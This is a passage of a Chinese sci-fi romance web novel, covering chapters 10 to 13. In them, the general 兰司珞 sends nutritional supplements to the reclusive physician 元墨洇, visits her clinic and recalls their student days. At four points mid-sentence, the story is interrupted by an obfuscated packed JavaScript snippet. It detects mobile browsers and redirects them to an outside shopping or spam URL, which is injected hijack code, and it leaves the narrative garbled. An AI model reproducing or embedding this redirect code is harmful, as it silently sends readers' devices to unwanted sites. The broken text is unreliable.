兰司珞在旁边不明所以,张奶奶看他茫然的模样,热情地给他解释起来。 “我当时刚从珍辰之家退休。”她顺手摸了摸兰司珞的头,“每天一个人待在家里,浑身不得劲,精神力总是失控。在汤燧星综合医院没有治好,我就在邻居的建议下来了这里。” 张奶奶当时并不抱太大希望,只是邻居言之凿凿,说这个小诊所的医师可厉害了。 沈钧给她看过之后开了药,确实比医院治疗的效果强一些,可惜只维持了一个月,药效又逐渐减弱下去。 张奶奶来青囊诊所复诊,看着沈钧拧眉沉思的模样,不忍心让沈钧为难,趁着沈钧让自己稍等的间隙,收拾好东西准备离开。 刚走到门口就被追上来的沈钧拦下:“张奶奶,你怎么走啦?” 张奶奶叹气:“沈医师,我的身体我自己清楚,你放心,治不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242877|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也心里有数。” 沈钧失笑,正想要开口继续劝张奶奶。 但她还没来得及说话,有人先于她出声。 “精神力图谱第三区偏低,第四区异常重合。这不是抑郁型精神力失调,是一种罕见的孤独型精神力失调。不用吃药,明天再来。” 张奶奶认识的医师中,虽不至于人人都温柔亲切,但也从没听到过如此冷漠的声音。 但这声音里又有一种魔力,让人一听就觉得,她说的一定是对的。 沈钧不动声色地站直身体,微微侧身露出了身后徐徐走来的人。 张奶奶跟着沈钧的动作循声望去,一位从没见过的医师不知何时来到了沈钧身边。她既没有看自己,也没有看沈钧,视线只落在沈钧光屏的诊断记录上。 沈钧听了她的话,先是震惊,接着恍然大悟,手指飞快地在屏幕上点击起来。 元墨洇收回目光,拿走张奶奶手里的药,又拿出一瓶医院开的药,放在沈钧面前:“这两种药的效果差异分析,写一份报告,一天之内交给我。” 她如同来时那样无声离去。等她走后,沈钧才发出一声极轻的哀嚎。 张奶奶小声问道:“这是哪位医师?” 沈钧也小声回答她:“是我和乔砂的老师,元医师。” 张奶奶心中暗惊,她也算得上阅人无数,虽然现在的人类有了冻结外貌的能力,表面上看不出年龄的差别,但她还是能稍微辨别出元墨洇的年纪并不大。 她再次看了一眼元墨洇的背影,这才发现这位年轻的元医师竟然如此瘦削单薄。 第二日张奶奶再来,便没有见着元墨洇。 沈钧站在门口,笑吟吟递给她一只长着独角的刚断奶小黑猫。 “元医师医术高超。第二天我一来,她送了我这只黑咪,我回家养着养着,病渐渐就好了。” 说着她举起了黑咪,黑咪对着兰司珞耀武扬威地“喵”了一声。 张奶奶乐了:“你看我们家黑咪多可爱,我搜了一下,这可是珍惜品种,叫什么独角兽款波斯凯特,是青园星域第十七农场培育出来的。” 兰司珞羡慕地看了一眼,伸手去摸黑咪的爪子,被黑咪一巴掌拍开。 “只是……”张奶奶又说:“元医师看起来,身体不太好的样子。” 兰司珞的心好像被黑咪挠了一下。 张奶奶回想着当时的场景:“太瘦了,看起来平时也没有好好休息。我说沈医师啊,年轻人努力是好事,但也要好好照顾自己,平时少熬夜,多注意休息,吃饭要营养均衡。我这里有几份菜谱……” 沈钧强撑着微笑听完了张奶奶的念叨:“多谢张奶奶的关心,老师她身体没有问题,她只是长得瘦。” 张奶奶也只见过一面,被沈钧忽悠得放下心来:“那就好。元医师平时似乎也不爱出门,你们还是要多劝劝。我虽然没你们懂得多,还是知道,人呐,就得多晒晒太阳。” 沈钧连连点头。 兰司珞没怎么说话了,三人又聊了一会便互相道别。 张奶奶加了兰司珞的通讯账号,说下次请他去帮忙给黑咪洗澡。 沈钧回到青囊诊所,继续修她的机器人。 兰司珞心事重重地晃悠到了汤燧星军团驻军指挥部。 沈钧的话,张奶奶信了,他却不信。 兰司珞叫来工作正忙的何晞问道:“你说,如果有一家店老板几乎不出现,每周只开两天,限量供应,这是为什么?” 何晞被工作折磨得两眼发直:“不知道。老板偷懒、老板不缺钱、老板身体不好,还能是什么?” 兰司珞一下子抓住了关键:“你说老板身体不好?” 何晞有气无力:“嗯嗯。” 兰司珞托腮:“也不知道她身体哪里不好,总不会有她也治不好的病吧。” 何晞敷衍:“嗯嗯。” 兰司珞终究还是个乐观的人:“可能就是平时休息不好,我也要买点东西给她补补。” 何晞:“嗯嗯。” 兰司珞终于良心发现,想起自己这几天几乎什么都没干,一切事务都是何晞处理的:“你把最近三天要做的事务汇总一下给我吧,我来看看。你去安排一下军队那边配置武器的事。” 何晞一点也不感动:“嗯嗯。” 兰司珞也不在意何晞的敷衍,趁他汇总事务的时间,打开光脑上的橙色软件开始下单各种营养补品。 10. 汤是甜的 星期二的清晨,沈钧的工作又被门的呼唤声打断了。 门:[主人有新的快递,请查收。] 沈钧只好扔下工作,去门口接收快递,心下疑惑,她并没有收到通知。 打开门,门外整整齐齐摞了3x3共九个大快递箱,每个快递箱上还贴心地贴好了标签,什么“补气益血”、“美容养颜”…… 快递箱堆顶上放了一个长条型盒子,没贴标签,看不出来是装的是什么。 沈钧仔细核对快递单,每张快递单上都清晰地写着“收件人:元**;寄件人:兰**”。 她脑海中浮现出昨天见过的金发青年,想了想,觉得兰司珞有着大好前途,应该不会丧心病狂到暗杀元墨洇,决定先叫来机器人把这些东西搬进去。 机器人将快递堆放在花园里,沈钧继续回去处理工作,等到她完成上午的所有任务之后,方才想起有这么几件快递还在等她处理。 她匆匆来到花园,快递堆旁已经站了一个人。 长条型的快递盒已经被解锁,原本装在里面的电子锦旗被捏在一双苍白修长的手里,屏幕发着幽幽的光,深红色的背景中,依稀能看见“元医师妙手回春”几个字。 沈钧面色一变,快步走过去:“老师,这几个快递我还没有做安全检测。” “不用。” 正午的阳光给花园镀上一层暖意,元墨洇却依然像是终年不化的的积雪般,始终神色冷淡,表情漠然。 她将锦旗拿在手中,快递盒放在一边,视线扫过地上摞在一起的九个大快递箱。 “这是一个知名的营养品牌,几百年的老字号,主要售卖一些强身健体的滋补食物。从成分来看,效果应当没有问题。寄件人是匿名,从姓氏看,应该是昨天前来拜访那位兰少将。”沈钧说着偷看了元墨洇一眼,“他昨天跟张奶奶打听您的身体情况来着。” 出乎她的预料,元墨洇听到“兰少将”三个字,面上没有任何反应。反倒是手指敲了敲那箱“补气益血”。 “这是买错了吧。”沈钧看着标签皱眉,一边打开光脑一边招来机器人,“我这就把它们搬走。” 机器人举起“补气益血”,露出了下面的一箱,贴着标签“补血益气”。 沈钧正在橙色购物软件上搜索这个品牌,余光一瞥:“原来不是买错了,是不知道该买哪一种,干脆全买了。”她把屏幕展示给元墨洇,这个系列的补品刚好九种,兰司珞每种都买了一箱。 元墨洇扫了一眼沈钧的光屏界面,直接解锁了“补血益气”,从中拿出来一盒,翻看底部的食用说明。 沈钧也拿起一盒:“这个成分表倒是很适合您的……” 元墨洇将盒子翻转回正面,她立即噤声。 翻看完手上的东西,元墨洇没有再打开其他快递箱,她将手上那盒“补血益气”与锦旗一同拿在手里,转身离去。 沈钧把自己手里的那盒放回快递箱,命令机器人全部都运输到仓库里。 机器人扛起所有快递箱后,走到房间门口的元墨洇忽然开口:“1号仓库。” 沈钧一惊,她转头看去,只看见元墨洇关门的背影。再回过头来,机器人已经听令带着东西远去。 沈钧按捺不住好奇心,跟着机器人来到1号仓库,待得快递被摆在原本空旷的仓库里后,她对着快递箱仔细研究起来。 “这是什么?”门口传来声音。 沈钧吓了一跳,拍着胸口道:“乔砂,你怎么在这里?” 乔砂把手里抱着的东西展示给她看:“我来仓库拿点实验材料,你是不是把快递放错地方了?这里是老师的私人仓库。” 沈钧神神秘秘地挽住乔砂的胳膊,把她拖到九个快递箱前:“你猜这是什么?” 乔砂拼命护住自己的实验材料,匆忙中扫了一眼:“营养类补品,一般用于……第四农场给瑟尔瓦克开发新用途了?他们不是说瑟尔瓦克的食用价值只有好吃这一项吗。” 沈钧硬是从乔砂怀里抢到了她的胳膊,把她的手指按在快递单上。乔砂看到上面的名字,皱眉问道:“兰……是谁?” 沈钧靠近乔砂的耳畔,压低声音:“这要从几天前说起。” 听完沈钧嘴里那个跌宕起伏的爱情故事,乔砂拿回自己的胳膊,揉了揉上面的鸡皮疙瘩:“你是说,老师前几天去给那位新来的兰少将治病,两人一见钟情,现在我们面前这九个箱子,是定情信物? “你确定说的是老师?” “当然。”沈钧双眼放光,“1号仓库大多用来放书和纸质资料,还有少量老师的私人物品。上次放进来的还是老师妹妹寄来的生日礼物。凭什么兰少将送的补品就能住进来,还是老师亲自吩咐的。” “因为这个牌子的补品效果好,有研究价值?” “老师还要亲自给兰少将复诊。” “因为带有剧毒的瑟尔瓦克是新发现的品种,同时兰少将是汤燧星的新的驻军军官,他的安全对接下来的计划非常重要。” “老师拿走了兰少将送的锦旗。” “因为平时没人给老师送这个吧,图个新奇。” 沈钧与乔砂对视着,一个眼里写着不解风情,另一个眼里写着胡说八道,谁都不肯服谁。 两个人非常默契地一同开口。 “赌不赌?” “赌多少?” 乔砂淡淡一笑:“一株最新型卡美利亚,我刚培育出来的。” 沈钧毫不示弱:“我赌一株加强版瑞黛丝,谁怕谁!” 元墨洇回到自己的房间,将“补血益气”的盒子放下,拿着锦旗走到一处角落。 角落里有一个不起眼的架子,最底下只能看见一团黄色的绒毛,锦旗被随手放在上面,像是镀上了一层软软的毛边。 元墨洇抽走锦旗上一层放着的一个纯色笔记本,摊开看着某页敛目沉思,手指轻轻点在最上方的那个名字上。 好像触动了回忆里的某处开关,眼前的书页渐渐变得模糊,其上的字句化为星星点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242878|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点的碎片,又拼合在一起,勉强凑成一幅完整的图画。 她拿出笔,坐下,将那幅图中所见写在纸上。偶尔停下笔细细思索,在旁边写下批注。 光脑在不停闪动,无数消息发来,在房间里吵个不停,她却一条都没有理会。 房间始终灯火通明,窗外的景色却越来越暗,最终坠入深不见底的墨色中。 今晚的天气格外好,能看见月亮高悬。汤燧星的人造月亮做得很漂亮,圆润的外表没有一丝瑕疵。 兰司珞以一种何晞从未见过的热情,一天做完了三天的工作。由于治愈剂已经使用完,治疗正式结束,他从汤燧星综合医院搬进了驻军宿舍。 此时他正拿着三支洗干净的治愈剂注射器,坐在窗边看月亮。 光脑提示有新消息,兰司珞点开来,发现是他今天才确认好的舰队武器改装方案,已经由研究所审核通过了。 从未合作过效率这么高的研究所,他暗暗吃惊,不由得打开看了一眼,发现研究所竟然将他原本的方案又进行了优化,所有细节都调整到最完美的程度。 这样也好,兰司珞想,他明天可以心无旁骛地去青囊诊所。他等了太久,不想要任何事情破坏他的计划。 就是不知道元墨洇喜不喜欢他今天送去的礼物。 他透过月亮,好像看到了元墨洇。 元墨洇从温泉中起身,烘干身上的水分。 她披散着一头黑发,穿上一身白色的浴袍,调亮灯光,绕过床铺,重新走到书桌前坐下,袖口滑落露出被热水蒸得略略泛红的手腕。 光脑被打开,光屏刹那间堆满整个桌面,无数事务密密麻麻在她眼前展开。 她一目十行扫过,两只手同时点击着,光脑以极快的速度演算着各种数据,间或夹杂着各种聊天信息弹窗和资料传输,被她有条不紊地一一解决掉。 纯色笔记本已经被合上,却没有放回原本待着的架子中,反而随意摆放在书桌旁,此时正在元墨洇的手边。 堆积的事务被处理完毕后,元墨洇终于得以稍稍休息一下,她将手放在桌面上,无意间碰到了这个笔记本。 她拿起笔记本,并未翻开,反而想到了什么,站起身走到门口,那里正有一盒上午带进来的补品。 她将其放入烹饪装置,设置好时间和模式,没有理会光脑重新响起的消息提示,在一旁静静等待着。 书桌上,原本笔记本待过的地方变成了一碗白润润的羹汤。几种大小不一、颗粒饱满的药材在羹汤中自如地浮沉,带出香甜的气息。 银色的眼眸没有理会光屏里的信息,而是倒映出那一碗羹汤,宛如一汪澄澈的湖水被倾泻在月色中。 她拿起汤匙,轻轻舀起一勺放入口中。 敏锐的舌尖一下子就品出了药材的成分、数量,她甚至可以轻而易举计算出这碗汤的功效。 元墨洇难得放过了这些数据,她只是简单的,像一个普通人一样品尝这一碗羹汤。 是甜的。 11. 飞絮落花时节一登楼 「验证成功,现在不是你的预约时间,请在十四小时之后再来。」 「验证成功,现在不是你的预约时间,请在四小时之后再来。」 「验证成功,现在不是你的预约时间,请在三十分钟之后再来。」 …… 「验证成功,现在不是你的预约时间,请在一分钟之后再来。」 「验证成功,请进。」 被骚扰了一整天的门终于迎来解脱,开门时机关触动的声音好似隐忍的呻吟。 刚张开一条缝,兰司珞就凭借自己漂亮的身法一闪身进了别墅大门。 青囊诊所分前后两部分,中间是一个种满各式各样花和药草的花园,两边是几栋大小不一的房屋,仓库在房屋背后。 门口有一个医疗室,沈钧正坐在里面,看到兰司珞进来,面上冲他友好地打招呼,手上背着他“噼里啪啦”敲字。 沈钧:[人到了,记得睁大眼睛好好看着。] 沈钧:[哟,人家又特地打扮了一番,上次是‘俊美贵公子’,这次是‘优雅俏军官’。] 聊天框对面的乔砂没有回复,倒是面前的兰司珞冲沈钧开口:“请问……” 他说话的时候脚步停下,身上的军装外套随着他的动作展开又收拢,宛如孔雀开屏。 孔雀尾巴上还挂了很多亮晶晶的东西。 沈钧仔细看去,发现那是一大片军功章,红的蓝的金的白的,什么颜色都有,被兰司珞炫耀似的全挂了出来,晃得人眼花缭乱。 沈钧伸手掐了一把大腿,强忍住笑意,另一只手往花园深处指:“顺着这条道往里走就行。” 兰司珞跟着看去,花园里的道路弯弯曲曲,把花园切割成一个花卷。 他笑着对沈钧点头示意,金色的披肩发柔顺地自然垂落在耳边,衬得笑容唇红齿白,灼灼逼人。 今天的天气格外好,天空是纤尘不染的浅蓝色,阳光明亮而不灼热。 兰司珞好奇地走在花园里,发现许多叫不出名字的植物待在不同的容器中,旁边是各种器械尽职尽责地记录着它们的数据。 身旁时不时有不同的机器人路过,熟练地按照程序的设置调试容器。 他暗暗记下,脑海中浮现出自己那颗私人星球的布局,思索着在哪里加上这么个花园比较合适。 走入青囊诊所后半部分之后,稀奇古怪的植物越来越多,兰司珞看到一个其中一种植物开的竟然不是花,而是一对猫爪,没忍住伸手摸了摸它粉红色的肉垫。 猫爪植物竟然发出了弱弱的“喵喵喵”声,随之而来的就是“滴滴”的仪器报错声。 一大群机器人立即围了上来,将兰司珞赶到一边,安抚这一株猫爪植物。 兰司珞左右偷瞄,见没有人来才松了一口气,再也不敢乱摸这里的植物,飞快地往前逃去。 前方拐过一道弯,就看见两人正站在一盆长着牙齿的花旁边,那花隔着玻璃罩呲牙咧嘴地摇晃着。 其中一人一边躬身观察着这株花的状态,一边调试着仪器数据。 兰司珞眼里却只能看见另一个人。 只有在这一刻,他那颗朝思暮想的心才终于落回到胸口,十年昼夜不停的跳动终于有了回音。 他摸了摸胸口,那里出现了新的频率。 兰司珞尝试张口,但他在门外蹲守了十四个小时,紧张到一口水没敢喝,因而嗓子干涩,将那些想说的话语堵在喉咙里。 他往前挪了一小步,身上的徽章随着他的动作,发出一连串“叮叮咚咚”的撞击声。 他脸腾地烧起来,手忙脚乱去按住那些不听话的徽章,可那徽章的声音就像止不住似的,把他的窘迫奏响在宁静的花园里。 本来正在关注那株花的两人同时看了过来。 元墨洇的目光没有落在人身上的时候,她就像花园里一株珍贵的雪色药草,香气淡雅,气质卓尔不群。本应常年保存在寒冷的环境中,却因为没有调试好合适的环境而看起来有些病弱,似乎需要人去妥帖维护。 可是当她眼里那抹银色投射过来的时候,仿佛夜晚美梦惊醒,睁眼的一刹那刚好对上漆黑的天空中那轮高高悬挂的银月,整个人由内而外沁出寒意来。 兰司珞对上元墨洇的眼睛,只觉得那股寒意熟悉又陌生。 分别与相聚的身影在他眼里重叠,化作一个完整的元墨洇。 赫帆的劝告似乎在耳畔响起,他说元墨洇根本不喜欢他,说他从来只是一厢情愿。 兰司珞不信。 在他亲眼见到前,他不愿意信,更不可能信。 相较于十年前,元墨洇瘦了很多,脸上血色尽数褪去,呈现出一种比她的白衣更淡的颜色。 她似乎过得不太好,连带看向兰司珞的目光里,那股雪山似的纯粹的冷意不减反增,在冰冷之中更添了一笔刀锋般的锐利,刺得他红了眼圈,咬紧牙关才忍住了流泪的冲动。 兰司珞的无数个猜想中,他最不希望的猜想得到了证实。 元墨洇可以不再爱他,可以拒绝他,可以讨厌他。 但她怎么能、怎么能…… 忘了他呢? 但是很快,兰司珞看见,那双眼落在他身上后,并没有快速移开。 而是慢慢浮现出他的面容。 与十年前一模一样的面容。 两个人无声对视的时候,乔砂在一旁静静观察着。 多亏了沈钧昨日的传授,乔砂一眼就从那灿烂的金发上认出面前的人是谁。她的眼神在元墨洇与兰司珞之间来回逡巡,最终把视线锁定在兰司珞身上。 毕竟元墨洇如同往常一般,神色淡然,她从眼角偷瞄到脚尖,除了目光停留的时间比平日里长,没有任何一丝不寻常的举动。 倒是兰司珞,以目前的天气情况来看,他的满脸通红显然不是晒的,以他的身份地位来看,他也不是哑巴或者结巴。 乔砂摸了摸下巴,若有所思。 “你……我……”兰司珞换了好几个字词,始终没能挑选出合适的话语,最终把大脑一闭,这才吐出一句完整的话,“你还记得我是谁吗?” 话音落下,他才知道自己说了什么,瞪大眼睛,手指在衣服外套上无意识抓挠,发出轻微的布料摩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242879|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦声。 “兰司珞。” 仅仅是叫了一声名字,声音很轻,兰司珞却连呼吸都停滞了下来。足足过了好一会,他才想起回应对方。 “元……咳咳……”他憋气到缺氧,抑制不住地咳嗽起来,一边咳一边已经选好了在哪里挖洞把自己埋进去。 等到兰司珞咳嗽完,硬着头皮地抬起头来,元墨洇依然站在原地看着他。 她表情丝毫未变,头顶的阳光一点点强盛起来,她的目光中的寒意似乎因此融化了些许。 兰司珞知道,她不会因自己的开心而动容,也不会因自己的窘迫而嘲笑。 她向来如此,装得下兰司珞满腔热烈的心意,也容得下兰司珞所有的莽撞和尴尬。 她总是静静地、冷冷地等在那里,等兰司珞收拾好所有的心绪,整理好自己的外表,再或是应承,或是拒绝地回应他。 兰司珞的手悄悄揪紧了裤子,眼神飞快地移开,又忍不住转回来多看两眼。 元墨洇在兰司珞调整好后便转身离去。 兰司珞垂下头,余光里正好有一把铲子,金属上映出他绝望的反光,正好可以当场挖土把他埋进花园里。 他心底叹了口气,头发丝耸拉到铲子的手柄上。 “跟我来。” 兰司珞猛地抬头,随着他的步伐,头上的金发一点点雀跃起来。 等到看不见两人之后,乔砂拿出光脑,看着沈钧给她发的那些消息。 乔砂:[我觉得你好像说对了,至少他们里真的有一个人一见钟情了。] 乔砂:[那位兰少将看起来智商不高的样子,眼光倒是挺高。] 沈钧:[你要相信我看了六十年偶像剧的经验,我要是你,现在就在把花搬到我的实验室的路上。] 乔砂:[你赌的两个人都一见钟情,我赌的两个人都没有一见钟情,现在只能证明兰少将有那个意思,我们都没赢。] 沈钧:[那我们走着瞧。] 兰司珞脚底踩着棉花,同手同脚地跟着元墨洇进了诊室。 诊室里有一个巨大的高级医疗舱,周围摆放着各种仪器。窗前有一张书桌,书桌旁安放着一张与学生宿舍的床铺差不多大的窄床。 元墨洇坐到书桌前,五块虚拟屏幕铺满了整张书桌的边缘。她瞥了一眼神色涣散的兰司珞,食指轻扣桌面:“治疗记录。” 见兰司珞没有回应,她又添上几个字:“兰司珞。” 这个称呼轻易就将兰司珞的心高高抛起又抓回手里,他条件反射地回答:“到!” 元墨洇摸着手腕上的光脑,静静看着他。 兰司珞手忙脚乱地按动自己的光脑,一连弹出十几个界面才找到治疗记录。 他抬头眼巴巴地看着元墨洇:“能不能加个通讯账号的好友?” 治疗记录有其他的传输方式,但他不想用。 元墨洇抬起手,兰司珞立刻将自己的光屏移动到她面前,目光情不自禁地追逐那根手指,看着她在自己的屏幕上摁出一串账号代码。 兰司珞紧紧盯着那串代码,半晌才发送了好友申请。 12. 大型医疗舱 飞快设置了置顶之后,兰司珞才将自己的所有治疗记录发过去。 元墨洇接收到记录却没有马上看,反而指了指治疗舱:“全身检查。” 兰司珞熟练地脱下了自己的外套,举在手里装模作样环顾整个房间,最后看向元墨洇书桌旁那张床:“我能把外套放你身边吗?” 元墨洇的目光扫过门口,那里有一个储物柜,侧面安装了用于悬挂衣物的钩子。 兰司珞的小心思被戳破,倒也不气馁,很快有了新的主意。 他走过去仔细观察储物柜的位置,把自己的外套悬挂在其中一个钩子上,还调整了一下角度,让元墨洇一转头就能看见外套上的各种造型的军功章在房间的灯光下熠熠生辉。 他假装整理徽章,故意让它们发出响声,吸引元墨洇的注意。 元墨洇如他所愿地看了过来,他立即挂上灿烂的笑容:“我攒了九年,一共二十六个,你看看喜欢哪个?都送给你。” 元墨洇只是冷淡地“嗯”一声就转过头去。 兰司珞却好似得了一个承诺,心下十分满意。 兰司珞迅速脱掉其他衣物,只留下贴身的一套衣服和裤子,来到大型医疗舱边,按下舱门开启按钮,迈步躺进去,关上医疗舱,整套动作一气呵成。 看着头顶的各种按钮,他习惯性地就要像往常一样按过去,却又倏地顿住,然后慢慢地缩回食指,伸出小拇指,闭着眼睛任由小拇指做贼似的在那几个按钮胡乱戳动着。 医疗舱:[无法识别用户要求,启动失败,请重试。] 兰司珞听到自己的心跳声在狭窄的空间里来回撞击,他在心里默念:数到十我就重试……不不不,二十……不,还是…… 医疗舱:[自助模式已关闭,医师模式已接管,请闭眼。] 兰司珞上下眼皮紧紧贴在一起,将一颗眼泪刚好关进剧烈跳动的心里。 不知为何,他心底浮现了很久没有查阅过的《大型医疗舱使用指南》。 兰司珞看着光屏上的《大型医疗舱使用指南》。 十分钟前,他站在元墨洇面前,决定用他在论坛学到的方法毛遂自荐:“元墨洇同学,你做研究还需要志愿者吗?你看看我怎么样?” 元墨洇对兰司珞期盼的目光熟视无睹,她目光紧盯自己的光屏,直到输入最后几个字,关闭页面,这才将视线移到兰司珞脸上。 元墨洇的目光冰冷却不锐利,只透着一股能看穿人心的寒意。 被她一眼扫过,最常见到的或是目光躲闪,或是装作若无其事地避开,或是不自然地与她对视。 而兰司珞竟然像是被烫到一般,脸红了。 元墨洇生性淡漠,身边虽有各种各样的人献殷勤,她却从未放在心上。 自从开学以来,陆陆续续有人碰壁后,那些人就变得更加克制而谨慎,她也得以重回久违的清净。 ——除了面前这个。 正如现在,她那一眼没有让兰司珞收敛,反倒使他眼睛像蓝宝石一样闪闪发光,目光中满是期待。 不过兰司珞的想法并不在元墨洇的考虑范围内。 从兰司珞与她打招呼,偷看她,偶尔打扰她等举动中,她早就知道兰司珞并不怎么聪明。 那就按照一般人的处理原则,冷淡地扫他一眼,或者压根把他当做空气。 事实上元墨洇也确实只是冷淡地扫了兰司珞一样,目光就随着手指移回屏幕上。 兰司珞的眼神随着那抹银色的移开逐渐暗淡下来,又立马坚定起来,决定给自己再争取一下。 他把自己的光屏移动到元墨洇面前,上面是他的个人资料和身体基本数据。 他用早就打好的腹稿推销自己:“我体质是S,最擅长的科目是机甲,身体数据综合分数排在全学院前三,你看看喜欢吗?” 大约是全学院前三的排名触动了元墨洇,她难得赏脸又看了看面前的资料。 并在一分钟内就得出了结论:一份S级体质的完美数据。擅长速度,动作灵活,身体协调性强,单人作战能力极高。 这是一份,如果无人赏识,全靠兰司珞自己努力,未来的发展一眼就能被看穿的数据。 元墨洇推开兰司珞的光屏,回到自己的光屏上操作起来。 兰司珞的头终于完完全全垂了下去。 “加我的通讯账号。” 兰司珞张大嘴巴愣在原地,直勾勾看着递到自己面前的虚拟屏幕——上面正是元墨洇的通讯账号——半晌没有任何反应。 元墨洇见他呆傻的模样,手指微动,好像要把光屏收回去。 兰司珞终于被这个动作唤醒,整个人猛地扑过去抓住那只手。 在这种千钧一发的时刻,兰司珞本能地抛弃自己的脑子,身体先于理智行动起来。 他趁着元墨洇还没来得及做出任何反应的时候,以极快的速度记下她那一长串通讯账号,然后居然一个代码都没有错地飞快输入了自己的光脑,又破罐子破摔扒着元墨洇的手帮她点了同意。 做完了这一切之后,兰司珞才放开元墨洇的手,露出可怜巴巴的表情看着元墨洇。 在这个过程中一个动作都没有做的元墨洇:“……” 兰司珞觑着元墨洇的脸色,大胆地小声加上一句话:“加了不许反悔!反悔的话我就、我就再加一次。” 他以为元墨洇不会回答,却在元墨洇收回手的间隙里听到一个短暂的“嗯”。 这是他得到的第一个,来自元墨洇的承诺。 兰司珞翘着不存在的尾巴,坐在座位上,捧着光脑傻乐。 通讯界面弹出新的消息,置顶加上特别关注一下子吸引了他的全部注意力。 他高高兴兴点开来,发现元墨洇给他发了一份文件《大型医疗舱使用指南》,他看不见的尾巴耸拉下来。 另一条消息紧随其后,是学校医疗室某大型医疗舱预约通知。 兰司珞尾巴又翘回到天上:“你答应拿我做实验了!你喜欢我的胳膊还是腿? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242880|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我觉得我的手更加厉害一点,但是腿也不错。” 元墨洇面无表情地看了他一眼,给他又发了一份衡镜司星域监察部最新发布的法律法规。 兰司珞本着元墨洇发给他的东西,再可怕也要看一眼的信念点开了那份文件,文件自动跳转到某一页,正是关于人体实验的禁止条例和处罚规定。 兰司珞再笨也明白了她的意思:“那我现在算什么呢?” 她加了自己的通讯好友,总得给个名分吧。 元墨洇没有再看他,冷冷地吐出几个字:“新药品研发试用对象。” 兰司珞自动在脑海中把这几个字加工成了“元墨洇要测试他能不能给自己当对象”,激动得心跳加速,开始幻想以后要去什么地方约会,将来求婚要设计什么样的场景,他们的孩子要叫什么名字…… 食指叩击桌面的声音无情打断地把他拉回现实。 兰司珞不敢再看元墨洇,把头埋进虚拟的显示屏中,假装很认真地开始阅读《大型医疗舱使用指南》。 事实证明,看书的时候若是心猿意马,那看与没看并没有什么区别。 到了预约好的时间,兰司珞来到学校的医疗室,看着大型医疗舱外面复杂的按钮,又把头钻进去看了看里面复杂的按钮,当场傻眼。 他勉强再次打开那本《大型医疗舱使用指南》,在锁死了两次大型医疗舱之后,终于蒙对了开机的操作顺序。 他兴致勃勃地钻进去,躺下才发现自己睡反了,顶着医疗舱的警告声又狼狈地爬起来。 关门倒是没忘,但是关门之后该干什么忘记了。于是又花了十五分钟试出了怎么打开舱门,打开放在一旁的光脑重新翻阅指南。 最后一次,兰司珞信心满满踏进医疗舱,确认无误后把自己锁死在了医疗舱里。 他绝望地对着大型医疗舱光洁的外壳发誓,如果有再来一次的机会,他一定认真阅读使用指南。 最后是医疗舱的语音播报救了他。 医疗舱:[自助模式已关闭,医师模式已接管,请闭眼。] 兰司珞后来又读了很多遍《大型医疗舱使用指南》,进过很多次大型医疗舱。 军团并没有想象中那样贴心,他还是个无名小卒的时候,就学会了任务结束后一个人操作大型医疗舱进行身体检查,再根据检查结果判断伤势是否需要医师的进一步治疗。 他再也没有像第一次一样手忙脚乱,现在甚至都可以闭着眼睛按对医疗舱上各种按钮,启动对应功能。 他也知道了自助模式和医师模式的区别:自助模式是使用者自行发布指令的模式,而接收数据的医师可以远程操控医疗舱开启医师模式,接管医疗舱的控制权。 军团的战士那么多,没有医师会特地为一个普通士兵预约大型医疗舱检测,他们只需要等待兰司珞带着检测结果预约就诊即可。 因此,加入军团后,兰司珞就自然而然学会了自助模式。 也再没有人愿意给他开医师模式。 13. 讨厌的工作又来了 何晞给兰司珞发消息的时候,他正在穿衣服。 宽肩窄腰的英俊男人慢条斯理地优雅穿上自己的衣服。——以上来自于兰司珞的想象。 现实是宽肩窄腰的男人为了展示自己的身材,专门挑选了一件十分贴身的上衣,于是在穿上的时候,毫不意外地卡在衣服里了。 他紧张地挣扎,衣服比他更紧张地挣扎,于是他们俩缠得更紧了。 偏偏正当兰司珞转过身去背对着元墨洇与衣服搏斗的时候,光脑还“叮叮咚咚”响了起来。 